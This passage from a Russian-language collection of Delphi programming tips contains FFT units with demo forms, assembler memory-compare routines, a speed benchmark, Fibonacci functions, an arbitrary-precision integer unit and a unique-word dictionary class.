finalization
  ReAllocMem(TrigTable, 0);

end.

unit DemoForm;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Edit1: TEdit;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

uses cplx, cplxfft1, MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var
  j: integer;
  s: string;

  src, dest: PScalars;
  norm: extended;
  d, N, count: integer;
  st, et: longint;
begin

  d := StrToIntDef(edit1.text, -1);
  if d < 1 then
    raise
      exception.Create('глубина рекурсии должны быть положительным целым числом');

  N := integer(1) shl d;

  GetMem(Src, N * Sizeof(TScalar));
  GetMem(Dest, N * SizeOf(TScalar));

  for j := 0 to N - 1 do
  begin
    src^[j] := MakeComplex(random, random);
  end;

  begin

    st := timeGetTime;
    FFT(d, Src, dest);
    et := timeGetTime;

  end;

  Memo1.Lines.Add('N = ' + IntToStr(N));
  Memo1.Lines.Add('норма ожидания: ' + #9 + FloatToStr(N * 2 / 3));

  norm := 0;
  for j := 0 to N - 1 do
    norm := norm + AbsSquared(src^[j]);
  Memo1.Lines.Add('Норма данных: ' + #9 + FloatToStr(norm));
  norm := 0;
  for j := 0 to N - 1 do
    norm := norm + AbsSquared(dest^[j]);
  Memo1.Lines.Add('Норма FT: ' + #9#9 + FloatToStr(norm));

  Memo1.Lines.Add('Время расчета FFT: ' + #9
    + inttostr(et - st)
    + ' мс.');
  Memo1.Lines.Add(' ');

  FreeMem(Src);
  FreeMem(DEst);
end;

end.

**** Версия для работы с реальными числами:

unit cplxfft2;

interface

type

  PScalar = ^TScalar;
  TScalar = extended;

  PScalars = ^TScalars;
  TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]
    of TScalar;

const

  TrigTableDepth: word = 0;
  CosTable: PScalars = nil;
  SinTable: PScalars = nil;

procedure InitTrigTables(Depth: word);

procedure FFT(Depth: word;

  SrcR, SrcI: PScalars;
  DestR, DestI: PScalars);

{Перед вызовом Src и Dest ТРЕБУЕТСЯ распределение

(integer(1) shl Depth) * SizeOf(TScalar)

байт памяти!}

implementation

procedure DoFFT(Depth: word;

  SrcR, SrcI: PScalars;
  SrcSpacing: word;
  DestR, DestI: PScalars);
{рекурсивная часть, вызываемая при готовности FFT}
var
  j, N: integer;

  TempR, TempI: TScalar;
  Shift: word;
  c, s: extended;
begin
  if Depth = 0 then

  begin
    DestR^[0] := SrcR^[0];
    DestI^[0] := SrcI^[0];
    exit;
  end;

  N := integer(1) shl (Depth - 1);

  DoFFT(Depth - 1, SrcR, SrcI, SrcSpacing * 2, DestR, DestI);
  DoFFT(Depth - 1,

    @SrcR^[srcSpacing],
    @SrcI^[SrcSpacing],
    SrcSpacing * 2,
    @DestR^[N],
    @DestI^[N]);

  Shift := TrigTableDepth - Depth;

  for j := 0 to N - 1 do
  begin

    c := CosTable^[j shl Shift];
    s := SinTable^[j shl Shift];

    TempR := c * DestR^[j + N] - s * DestI^[j + N];
    TempI := c * DestI^[j + N] + s * DestR^[j + N];

    DestR^[j + N] := DestR^[j] - TempR;
    DestI^[j + N] := DestI^[j] - TempI;

    DestR^[j] := DestR^[j] + TempR;
    DestI^[j] := DestI^[j] + TempI;
  end;

end;

procedure FFT(Depth: word;

  SrcR, SrcI: PScalars;
  DestR, DestI: PScalars);
var
  j, N: integer;
  Normalizer: extended;
begin

  N := integer(1) shl depth;

  if Depth TrigTableDepth then

    InitTrigTables(Depth);

  DoFFT(Depth, SrcR, SrcI, 1, DestR, DestI);

  Normalizer := 1 / sqrt(N);

  for j := 0 to N - 1 do

  begin
    DestR^[j] := DestR^[j] * Normalizer;
    DestI^[j] := DestI^[j] * Normalizer;
  end;

end;

procedure InitTrigTables(Depth: word);
var
  j, N: integer;
begin

  N := integer(1) shl depth;
  ReAllocMem(CosTable, N * SizeOf(TScalar));
  ReAllocMem(SinTable, N * SizeOf(TScalar));
  for j := 0 to N - 1 do

  begin
    CosTable^[j] := cos(-(2 * Pi) * j / N);
    SinTable^[j] := sin(-(2 * Pi) * j / N);
  end;
  TrigTableDepth := Depth;

end;

initialization

  ;

finalization

  ReAllocMem(CosTable, 0);
  ReAllocMem(SinTable, 0);

end.

unit demofrm;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, cplxfft2, StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Edit1: TEdit;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var
  SR, SI, DR, DI: PScalars;
  j, d, N: integer;
  st, et: longint;
  norm: extended;
begin

  d := StrToIntDef(edit1.text, -1);
  if d < 1 then
    raise
      exception.Create('глубина рекурсии должны быть положительным целым числом');

  N := integer(1) shl d;

  GetMem(SR, N * SizeOf(TScalar));
  GetMem(SI, N * SizeOf(TScalar));
  GetMem(DR, N * SizeOf(TScalar));
  GetMem(DI, N * SizeOf(TScalar));

  for j := 0 to N - 1 do
  begin

    SR^[j] := random;
    SI^[j] := random;
  end;

  st := timeGetTime;
  FFT(d, SR, SI, DR, DI);

  et := timeGetTime;

  memo1.Lines.Add('N = ' + inttostr(N));
  memo1.Lines.Add('норма ожидания: ' + #9 + FloatToStr(N * 2 / 3));

  norm := 0;
  for j := 0 to N - 1 do

    norm := norm + SR^[j] * SR^[j] + SI^[j] * SI^[j];
  memo1.Lines.Add('норма данных: ' + #9 + FloatToStr(norm));

  norm := 0;
  for j := 0 to N - 1 do

    norm := norm + DR^[j] * DR^[j] + DI^[j] * DI^[j];
  memo1.Lines.Add('норма FT: ' + #9#9 + FloatToStr(norm));

  memo1.Lines.Add('Время расчета FFT: ' + #9 + inttostr(et - st));
  memo1.Lines.add('');
  (*for j:=0 to N - 1 do

  Memo1.Lines.Add(FloatToStr(SR^[j])
  + ' + '
  + FloatToStr(SI^[j])
  + 'i');

  for j:=0 to N - 1 do

  Memo1.Lines.Add(FloatToStr(DR^[j])
  + ' + '
  + FloatToStr(DI^[j])
  + 'i');*)

  FreeMem(SR, N * SizeOf(TScalar));
  FreeMem(SI, N * SizeOf(TScalar));
  FreeMem(DR, N * SizeOf(TScalar));
  FreeMem(DI, N * SizeOf(TScalar));
end;

end.

Взято с http://delphiworld.narod.ru


Быстрое сравнение памяти

Я ищу функцию, которая была бы эквивалентом сишной функции memcmp.
Я создал следующие две функции, существенно повышающие произвотельность в приложениях, активно работающих с данными. Вам нужно всего-лишь обеспечить контроль типов и границ допустимого диапазона, все остальное они сделают с любым типом данных лучше нас :-) .

function Keys_are_Equal(var OldRec, NewRec; KeyLn: word): boolean; assembler;
asm
PUSH    DS
MOV     AL,01
CLD
LES     DI,NewRec
LDS     SI,OldRec
MOV     CX,KeyLn
CLI
REPE    CMPSB
STI
JZ      @1
XOR     AL,AL
@1:
POP     DS
end;

function First_Key_is_Less(var NewRec, OldRec; Keyln : word): boolean; assembler;
asm
PUSH    DS
MOV     AL,01
CLD
LES     DI,NewRec
LDS     SI,OldRec
MOV     CX,KeyLn
CLI
REPE    CMPSB
STI
JZ      @5
JGE     @6
@5: XOR     AL,AL
@6: POP     DS
end;

- Dennis Passmore
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как сравнить быстродействие алгоритмов

Если вас сколько-нибудь интересует скорость работы вашей программы, то нужно смерить скорость алгоритмов и сравнивать их. Здесь я привожу пример, сравнивающий четыре способа возведения 2 в степень 30.

uses Math;

procedure TForm1.Button1Click(Sender: TObject);
var
  Res, Exponent: integer;
  Res1: real;
  t, i: integer;
begin
  Exponent := 30;

  Application.ProcessMessages;
  t := GetTickCount;
  for i := 1 to 1000000 do

    Res := 1 shl Exponent;
  Form1.Caption := Form1.Caption + ' ' +
    IntToStr(GetTickCount - t);

  Application.ProcessMessages;
  t := GetTickCount;
  for i := 1 to 1000000 do
    Res1 := LdExp(1, Exponent);
  Form1.Caption := Form1.Caption + ' ' +
    IntToStr(GetTickCount - t);

  Application.ProcessMessages;
  t := GetTickCount;
  for i := 1 to 1000000 do
    Res1 := IntPower(2, Exponent);
  Form1.Caption := Form1.Caption + ' ' +

    IntToStr(GetTickCount - t);

  Application.ProcessMessages;
  t := GetTickCount;
  for i := 1 to 1000000 do
    Res1 := Power(2, Exponent);
  Form1.Caption := Form1.Caption + ' ' +
    IntToStr(GetTickCount - t);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Методы компрессии/декомпрессии

Библиотека "TurboPower Abbrevia" - поддерживает многочисленные методы компрессии/декомпрессии, большое количество сопутствующих компонентов для работы с архивами. Бесплатная, с исходниками. Можно скачать на http://www.torry.net/compresspacks.htm

Взято из http://forum.sources.ru


Числа Фибоначчи

{
  Fibonacci integers are defined as:

  fib[n+2] = fib[n+1] + fib[n];
  fib[1] = 1;
  fib[0] = 1;

  Example/Beispiel: fib[4] = fib[3] + fib[2] = fib[2] + fib[1] + fib[1] + fib[0] =
                    fib[1] + fib[0] + fib[1] + fib[1] + fib[0] = 5
}

function  fibit(n: Integer): Integer;
var
  a, b, i, temp: Integer;
begin
  temp := 1;
  a := 1;
  b := 1;
  for i := 1 to n - 1 do
  begin
    temp := a + b;
    a := b;
    b := temp;
  end;
  Result := temp;
end;

function fibrec(n: Integer): Integer;
var
  temp: Integer;
begin
  temp := 0;
  if (n = 0) then temp := 1;
  if (n = 1) then temp := 1;
  if (n > 1) then temp := fibrec(n - 1) + fibrec(n - 2);
  Result := temp;
end;

// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(IntToStr(fibit(10)));
  ShowMessage(IntToStr(fibrec(10)));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Огромные числа

Данный модуль использует массив байт для предоставления БОЛЬШИХ чисел. Бинарно-хранимые числа заключены в массив, где первый элемент является Наименьшим Значимым Байтом (Least Significant Byte - LSB), последний - Наибольшим Значимым Байтом (Most Significant Byte - MSB), подобно всем Intel-целочисленным типам.

Арифметика здесь использует не 10- или 2-тиричную, а 256-тиричную систему исчисления, чтобы каждый байт представлял одну (1) цифру.

Числа HugeInttype - Подписанные Числа (Signed Numbers).

При компиляции с директивой R+, ADD и MUL могут в определенных обстоятельствах генерировать "Arithmetic Overflow Error" (RunError(215)) - ошибка арифметического переполнения. В таком случае пользуйтесь переменной "HugeIntCarry".

Переменная "HugeIntDiv0" используется для проверки деления на ноль.

Используйте {$DEFINE HugeInt_xx } или поле "Conditional defines" (символ условного компилирования) в "Compiler options" (опции компилятора) для задания размерности, где xx должно быть равно 64, 32 или 16, в противном случае HugeIntSize будет равен 8 байтам.

unit HugeInts;
interface

const
{$IFDEF HugeInt_64 }

  HugeIntSize = 64;

{$ELSE}{$IFDEF HugeInt_32 }

  HugeIntSize = 32;
{$ELSE}{$IFDEF HugeInt_16 }

  HugeIntSize = 16;
{$ELSE}

  HugeIntSize = 8;
{$ENDIF}{$ENDIF}{$ENDIF}

  HugeIntMSB = HugeIntSize - 1;

type

  HugeInt = array[0..HugeIntMSB] of Byte;

const

  HugeIntCarry: Boolean = False;
  HugeIntDiv0: Boolean = False;

procedure HugeInt_Min(var a: HugeInt); { a := -a }
procedure HugeInt_Inc(var a: HugeInt); { a := a + 1 }
procedure HugeInt_Dec(var a: HugeInt); { a := a - 1 }

procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt); { R := a + b }
procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt); { R := a - b }
procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt); { R := a * b }
procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt); { R := a div b }
procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt); { R := a mod b }

function HugeInt_IsNeg(a: HugeInt): Boolean;
function HugeInt_Zero(a: HugeInt): Boolean;
function HugeInt_Odd(a: HugeInt): Boolean;

function HugeInt_Comp(a, b: HugeInt): Integer; {-1:a< 0; 1:a>}
procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt); { Dest := Src }

procedure String2HugeInt(AString: string; var a: HugeInt);
procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
procedure HugeInt2String(a: HugeInt; var S: string);

implementation

procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);
{ Dest := Src }
begin

  Move(Src, Dest, SizeOf(HugeInt));
end; { HugeInt_Copy }

function HugeInt_IsNeg(a: HugeInt): Boolean;
begin

  HugeInt_IsNeg := a[HugeIntMSB] and $80 > 0;
end; { HugeInt_IsNeg }

function HugeInt_Zero(a: HugeInt): Boolean;
var
  i: Integer;
begin

  HugeInt_Zero := False;
  for i := 0 to HugeIntMSB do
    if a[i] <> 0 then
      Exit;
  HugeInt_Zero := True;
end; { HugeInt_Zero }

function HugeInt_Odd(a: HugeInt): Boolean;
begin

  HugeInt_Odd := a[0] and 1 > 0;
end; { HugeInt_Odd }

function HugeInt_HCD(a: HugeInt): Integer;
var
  i: Integer;
begin

  i := HugeIntMSB;
  while (i > 0) and (a[i] = 0) do
    Dec(i);
  HugeInt_HCD := i;
end; { HugeInt_HCD }

procedure HugeInt_SHL(var a: HugeInt; Digits: Integer);
{ Перемещение байтов переменной "Digits" в левую часть,

байты "Digits" будут 'ослабевать' в MSB-части.
LSB-часть заполняется нулями. }
var
  t: Integer;
  b: HugeInt;
begin

  if Digits > HugeIntMSB then
    FillChar(a, SizeOf(HugeInt), 0)
  else if Digits > 0 then
  begin
    Move(a[0], a[Digits], HugeIntSize - Digits);
    FillChar(a[0], Digits, 0);
  end; { else if }
end; { HugeInt_SHL }

procedure HugeInt_SHR(var a: HugeInt; Digits: Integer);
var
  t: Integer;
begin

  if Digits > HugeIntMSB then
    FillChar(a, SizeOf(HugeInt), 0)
  else if Digits > 0 then
  begin
    Move(a[Digits], a[0], HugeIntSize - Digits);
    FillChar(a[HugeIntSize - Digits], Digits, 0);
  end; { else if }
end; { HugeInt_SHR }

procedure HugeInt_Inc(var a: HugeInt);
{ a := a + 1 }
var

  i: Integer;
  h: Word;
begin

  i := 0;
  h := 1;
  repeat
    h := h + a[i];
    a[i] := Lo(h);
    h := Hi(h);
    Inc(i);
  until (i > HugeIntMSB) or (h = 0);
  HugeIntCarry := h > 0;
{$IFOPT R+ }
  if HugeIntCarry then
    RunError(215);
{$ENDIF}
end; { HugeInt_Inc }

procedure HugeInt_Dec(var a: HugeInt);
{ a := a - 1 }
var
  Minus_1: HugeInt;
begin

  { самый простой способ }
  FillChar(Minus_1, SizeOf(HugeInt), $FF); { -1 }
  HugeInt_Add(a, Minus_1, a);
end; { HugeInt_Dec }

procedure HugeInt_Min(var a: HugeInt);
{ a := -a }
var
  i: Integer;
begin

  for i := 0 to HugeIntMSB do
    a[i] := not a[i];
  HugeInt_Inc(a);
end; { HugeInt_Min }

function HugeInt_Comp(a, b: HugeInt): Integer;
{ a = b: ==0; a > b: ==1; a < b: ==-1 }
var

  A_IsNeg, B_IsNeg: Boolean;
  i: Integer;
begin

  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg xor B_IsNeg then
    if A_IsNeg then
      HugeInt_Comp := -1
    else
      HugeInt_Comp := 1
  else
  begin
    if A_IsNeg then
      HugeInt_Min(a);
    if B_IsNeg then
      HugeInt_Min(b);
    i := HugeIntMSB;
    while (i > 0) and (a[i] = b[i]) do
      Dec(i);
    if A_IsNeg then { оба отрицательные! }
      if a[i] > b[i] then
        HugeInt_Comp := -1
      else if a[i] < b[i] then
        HugeInt_Comp := 1
      else
        HugeInt_Comp := 0
    else { оба положительные } if a[i] > b[i] then
        HugeInt_Comp := 1
      else if a[i] < b[i] then
        HugeInt_Comp := -1
      else
        HugeInt_Comp := 0;
  end; { else }
end; { HugeInt_Comp }

procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt);
{ R := a + b }
var

  i: Integer;
  h: Word;
begin

  h := 0;
  for i := 0 to HugeIntMSB do
  begin
    h := h + a[i] + b[i];
    R[i] := Lo(h);
    h := Hi(h);
  end; { for }
  HugeIntCarry := h > 0;
{$IFOPT R+ }
  if HugeIntCarry then
    RunError(215);
{$ENDIF}
end; { HugeInt_Add }

procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt);
{ R := a - b }
var

  i: Integer;
  h: Word;
begin

  HugeInt_Min(b);
  HugeInt_Add(a, b, R);
end; { HugeInt_Sub }

procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt);
{ R := a * b }
var

  i, j, k: Integer;
  A_end, B_end: Integer;
  A_IsNeg, B_IsNeg: Boolean;
  h: Word;
begin

  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg then
    HugeInt_Min(a);
  if B_IsNeg then
    HugeInt_Min(b);
  A_End := HugeInt_HCD(a);
  B_End := HugeInt_HCD(b);
  FillChar(R, SizeOf(R), 0);
  HugeIntCarry := False;
  for i := 0 to A_end do
  begin
    h := 0;
    for j := 0 to B_end do
      if (i + j) < HugeIntSize then
      begin
        h := h + R[i + j] + a[i] * b[j];
        R[i + j] := Lo(h);
        h := Hi(h);
      end; { if }
    k := i + B_End + 1;
    while (k < HugeIntSize) and (h > 0) do
    begin
      h := h + R[k];
      R[k] := Lo(h);
      h := Hi(h);
      Inc(k);
    end; { while }
    HugeIntCarry := h > 0;
{$IFOPT R+}
    if HugeIntCarry then
      RunError(215);
{$ENDIF}
  end; { for }
  { если все хорошо... }
  if A_IsNeg xor B_IsNeg then
    HugeInt_Min(R);
end; { HugeInt_Mul }

procedure HugeInt_DivMod(var a: HugeInt; b: HugeInt; var R: HugeInt);
{ R := a div b  a := a mod b }
var

  MaxShifts, s, q: Integer;
  d, e: HugeInt;
  A_IsNeg, B_IsNeg: Boolean;
begin

  if HugeInt_Zero(b) then
  begin
    HugeIntDiv0 := True;
    Exit;
  end { if }
  else
    HugeIntDiv0 := False;
  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg then
    HugeInt_Min(a);
  if B_IsNeg then
    HugeInt_Min(b);
  if HugeInt_Comp(a, b) < 0 then
    { a<b; нет необходимости деления }
    FillChar(R, SizeOf(R), 0)
  else
  begin
    FillChar(R, SizeOf(R), 0);
    repeat
      Move(b, d, SizeOf(HugeInt));
      { сначала вычисляем количество перемещений (сдвигов) }
      MaxShifts := HugeInt_HCD(a) - HugeInt_HCD(b);
      s := 0;
      while (s <= MaxShifts) and (HugeInt_Comp(a, d) >= 0) do
      begin
        Inc(s);
        HugeInt_SHL(d, 1);
      end; { while }
      Dec(s);
      { Создаем новую копию b }
      Move(b, d, SizeOf(HugeInt));
      { Перемещаем (сдвигаем) d }
      HugeInt_ShL(d, S);
      { Для добавление используем e = -d, это быстрее чем вычитание d }
      Move(d, e, SizeOf(HugeInt));
      HugeInt_Min(e);
      Q := 0;
      { пока a >= d вычисляем a := a+-d и приращиваем Q}
      while HugeInt_Comp(a, d) >= 0 do
      begin
        HugeInt_Add(a, e, a);
        Inc(Q);
      end; { while }
      { Упс!, слишком много вычитаний; коррекция }
      if HugeInt_IsNeg(a) then
      begin
        HugeInt_Add(a, d, a);
        Dec(Q);
      end; { if }
      HugeInt_SHL(R, 1);
      R[0] := Q;
    until HugeInt_Comp(a, b) < 0;
    if A_IsNeg xor B_IsNeg then
      HugeInt_Min(R);
  end; { else }
end; { HugeInt_Div }

procedure HugeInt_DivMod100(var a: HugeInt; var R: Integer);
{ 256-тиричное деление - работает только с

положительными числами: R := a mod 100; a:= a div 100; }
var

  Q: HugeInt;
  S: Integer;
begin

  R := 0;
  FillChar(Q, SizeOf(Q), 0);
  S := HugeInt_HCD(a);
  repeat
    r := 256 * R + a[S];
    HugeInt_SHL(Q, 1);
    Q[0] := R div 100;
    R := R mod 100;
    Dec(S);
  until S < 0;
  Move(Q, a, SizeOf(Q));
end; { HugeInt_DivMod100 }

procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt);
begin

  HugeInt_DivMod(a, b, R);
end; { HugeInt_Div }

procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt);
begin

  HugeInt_DivMod(a, b, R);
  Move(a, R, SizeOf(HugeInt));
end; { HugeInt_Mod }

procedure HugeInt2String(a: HugeInt; var S: string);

  function Str100(i: Integer): string;
  begin
    Str100 := Chr(i div 10 + Ord('0')) + Chr(i mod 10 + Ord('0'));
  end; { Str100 }
var

  R: Integer;
  Is_Neg: Boolean;
begin

  S := '';
  Is_Neg := HugeInt_IsNeg(a);
  if Is_Neg then
    HugeInt_Min(a);
  repeat
    HugeInt_DivMod100(a, R);
    Insert(Str100(R), S, 1);
  until HugeInt_Zero(a) or (Length(S) = 254);
  while (Length(S) > 1) and (S[1] = '0') do
    Delete(S, 1, 1);
  if Is_Neg then
    Insert('-', S, 1);
end; { HugeInt2String }

procedure String_DivMod256(var S: string; var R: Integer);
{ 10(00)-тиричное деление - работает только с

положительными числами: R := S mod 256; S := S div 256 }
var
  Q: string;
begin

  FillChar(Q, SizeOf(Q), 0);
  R := 0;
  while S <> '' do
  begin
    R := 10 * R + Ord(S[1]) - Ord('0');
    Delete(S, 1, 1);
    Q := Q + Chr(R div 256 + Ord('0'));
    R := R mod 256;
  end; { while }
  while (Q <> '') and (Q[1] = '0') do
    Delete(Q, 1, 1);
  S := Q;
end; { String_DivMod256 }

procedure String2HugeInt(AString: string; var a: HugeInt);
var

  i, h: Integer;
  Is_Neg: Boolean;
begin

  if AString = '' then
    AString := '0';
  Is_Neg := AString[1] = '-';
  if Is_Neg then
    Delete(Astring, 1, 1);
  i := 0;
  while (AString <> '') and (i <= HugeIntMSB) do
  begin
    String_DivMod256(AString, h);
    a[i] := h;
    Inc(i);
  end; { while }
  if Is_Neg then
    HugeInt_Min(a);
end; { String2HugeInt }

procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
var
  Is_Neg: Boolean;
begin

  Is_Neg := AInteger < 0;
  if Is_Neg then
    AInteger := -AInteger;
  FillChar(a, SizeOf(HugeInt), 0);
  Move(AInteger, a, SizeOf(Integer));
  if Is_Neg then
    HugeInt_Min(a);
end; { Integer2HugeInt }

end.

Взято с http://delphiworld.narod.ru


Алгоритм поиска всех уникальных слов в файле

////////////////////////////////////////////////////////////////////////////////
//
//  ****************************************************************************
//  * Unit Name : Dictionary
//  * Purpose   : Набор классов для работы с индексированным списком поиска
//  * Author    : Александр Багель
//  * Version   : 1.00
//  ****************************************************************************
//

unit Dictionary;

interface

uses
  Windows, Classes, SysUtils{, FullTextGetter};

type
  // Класс отвечающий за создание словаря уникальных слов
  TDictionaryFounder = class
  private
    FDict: TList;
    FDictMem: array of String;
    FDictMemCount: Integer;
  protected
    function GetPos(const Value: String): Integer; virtual;
    procedure Insert(Value: String; Position: Integer); virtual;
    function Prepare(const Value: String): String; virtual;
  public
    constructor Create;
    destructor Destroy; override;
    procedure AddData(Value: String); //overload;
   // procedure AddData(ObjText: IFullTextGetter); overload;
    procedure SaveToStream(var AStream: TMemoryStream);
  end;

  // Класс осуществляющий поиск в словаре
  // полученном от TDictionaryFounder
  TDictionaryFinder = class
  private
    FDict: array of ShortString;
    FDictLength: Cardinal;
  protected
    function GetPos(const Value: ShortString;
      const SubStr: Boolean = False): Boolean; virtual;
  public
    destructor Destroy; override;
    procedure LoadFromStream(const AStream: TMemoryStream);
    function Find(const Value: String;
      const SubStr: Boolean = False): Boolean;
  end;

implementation

{ TDictionaryFounder }

//
//  Добавление информации для построения массива индексов
// =============================================================================
procedure TDictionaryFounder.AddData(Value: String);
var
  Tmp: String;
  Position, I: Integer;
  S: TStringList;
begin
  Value := Prepare(Value);
  S := TStringList.Create;
  try
    S.Text := Value;
    for I := 0 to S.Count - 1 do
    begin
      Tmp := S[I];
      if Tmp = '' then Continue;
      if FDict.Count = 0 then
        Insert(Tmp, 0)
      else
      begin
        Position := GetPos(Tmp);
        if (Position >= 0) then
          if FDict.Count > Position then
          begin
            if String(FDict.Items[Position]) <> Tmp then
              Insert(Tmp, Position);
          end
          else
            Insert(Tmp, Position);
      end;
    end;
  finally
    S.Free;
  end;
end;

//
//  Добавление информации для построения массива индексов
//  Информация приходит из интерфейса
// =============================================================================
{procedure TDictionaryFounder.AddData(ObjText: IFullTextGetter);
var
  S: String;
begin
  if ObjText = nil then
    raise Exception.Create('IFullTextGetter is empty.');
  S := ObjText.GetText;
  AddData(S);
end;   }

constructor TDictionaryFounder.Create;
begin
  FDict := TList.Create;
end;

destructor TDictionaryFounder.Destroy;
begin
  FDict.Free;
  FDictMemCount := 0;
  SetLength(FDictMem, FDictMemCount);
  inherited;
end;

//
//  Возвращает номер позиции где находится слово, или должно находится...
//  Поиск методом половинного деления...
// =============================================================================
function TDictionaryFounder.GetPos(const Value: String): Integer;
var
  FLeft, FRight, FCurrent: Cardinal;
begin
  if FDict.Count = 0 then
  begin
    Result := 0;
    Exit;
  end;
  FLeft := 0;
  FRight := FDict.Count - 1;
  FCurrent := (FRight + FLeft) div 2;
  if String(FDict.Items[FLeft]) > Value then
  begin
    Result := 0;
    Exit;
  end;
  if String(FDict.Items[FRight]) < Value then
  begin
    Result := FRight + 1;
    Exit;
  end;
  repeat
    if String(FDict.Items[FCurrent]) = Value then
    begin
      Result := FCurrent;
      Exit;
    end;
    if String(FDict.Items[FCurrent]) < Value then
      FLeft := FCurrent
    else
      FRight := FCurrent;
    FCurrent := (FRight + FLeft) div 2;
  until FLeft = FCurrent;
  if String(FDict.Items[FCurrent]) < Value then Inc(FCurrent);
  Result := FCurrent;
end;

//
//  Добавление нового индекса в массив индексов
// =============================================================================
procedure TDictionaryFounder.Insert(Value: String; Position: Integer);
begin
  if FDictMemCount < FDict.Count + 1 then
  begin
    Inc(FDictMemCount, FDict.Count + 1);
    SetLength(FDictMem, FDictMemCount);
  end;
  FDictMem[FDict.Count] := Value;
  FDict.Insert(Position, @FDictMem[FDict.Count][1]);
end;

//
//  Сохранение массива индексов в поток
// =============================================================================
procedure TDictionaryFounder.SaveToStream(var AStream: TMemoryStream);
var
  I: Integer;
  S: PChar;
  TmpS: TStringList;
begin
  if AStream = nil then Exit;
  TmpS := TStringList.Create;
  try
    for I := 0 to FDict.Count - 1 do
    begin
      S := FDict.Items[I];
      TmpS.Add(S);
    end;
    AStream.Position := 0;
    AStream.Size := Length(TmpS.Text);
    AStream.Write(TmpS.Text[1], Length(TmpS.Text));
    AStream.Position := 0;
  finally
    TmpS.Free;
  end;
end;

//
//  Подготовка данных к обработке...
//  Удаляются все не буквенные символы, каждое слово начинется с новой строки...
// =============================================================================
function TDictionaryFounder.Prepare(const Value: String): String;
var
  I: Integer;
  Len: Cardinal;
  C: PAnsiChar;
  LastEnter: Boolean;
begin
  SetLength(Result, Length(Value) * 2);
  Len := 0;
  LastEnter := False;
  for I := 1 to Length(Value) do
  begin
    C := CharLower(@Value[I]);
    if C^ in ['a'..'z', 'а'..'я'] then
    begin
      Inc(Len);
      Result[Len] := C^;
      LastEnter := False;
    end
    else
      if not LastEnter then
      begin
        Inc(Len);
        Result[Len] := #13;
        Inc(Len);
        Result[Len] := #10;
        LastEnter := True;
      end;
  end;
  SetLength(Result, Len);
end;

{ TDictionaryFinder }

destructor TDictionaryFinder.Destroy;
begin
  FDictLength := 0;
  SetLength(FDict, FDictLength);
  inherited;
end;

//
//  Поиск введенных слов...
// =============================================================================
function TDictionaryFinder.Find(const Value: String;
  const SubStr: Boolean = False): Boolean;
var
  S: TStringList;
  I: Integer;
begin
  Result := False;
  if Value = '' then Exit;
  S := TStringList.Create;
  try
    S.Text := StringReplace(Value, ' ', #13#10, [rfReplaceAll]);
    S.Text := AnsiLowerCase(S.Text);
    if S.Count = 0 then Exit;
    for I := 0 to S.Count - 1 do
    begin
      Result := GetPos(S.Strings[I], SubStr);
      if not Result then Exit;
    end;
  finally
    S.Free;
  end;
end;

//
//  Поиск каждого слова в массиве индексов
// =============================================================================
function TDictionaryFinder.GetPos(const Value: ShortString;
  const SubStr: Boolean = False): Boolean;
var
  FLeft, FRight, FCurrent, I: Cardinal;
begin
  Result := False;
  if SubStr then
  begin
    for I := 0 to FDictLength - 1 do
      if Pos(Value, FDict[I]) > 0 then
      begin
        Result := True;
        Exit;
      end;
  end
  else
  begin
    if FDictLength = 0 then Exit;
    FLeft := 0;
    FRight := FDictLength - 1;
    FCurrent := (FRight + FLeft) div 2;
    if FDict[FLeft] > Value then Exit;
    if FDict[FRight] < Value then Exit;
    if FDict[FLeft] = Value then
    begin
      Result := True;
      Exit;
    end;
    if FDict[FRight] = Value then
    begin
      Result := True;
      Exit;
    end;
    repeat
      if FDict[FCurrent] = Value then
      begin
        Result := True;
        Exit;
      end;
      if FDict[FCurrent] < Value then
        FLeft := FCurrent
      else
        FRight := FCurrent;
      FCurrent := (FRight + FLeft) div 2;
    until FLeft = FCurrent;
  end;
end;

//
//  Загрузка массива индексов из потока
// =============================================================================
procedure TDictionaryFinder.LoadFromStream(const AStream: TMemoryStream);
var
  S: TStringList;
  I: Integer;
begin
  S := TStringList.Create;
  try
    AStream.Position := 0;
    S.LoadFromStream(AStream);
    FDictLength := S.Count;
    if FDictLength = 0 then Exit;
    SetLength(FDict, FDictLength);
    for I := 0 to FDictLength - 1 do
      FDict[I] := S.Strings[I];
  finally
    S.Free;
  end;
end;

end.

пример использования:

unit Unit1;

interface

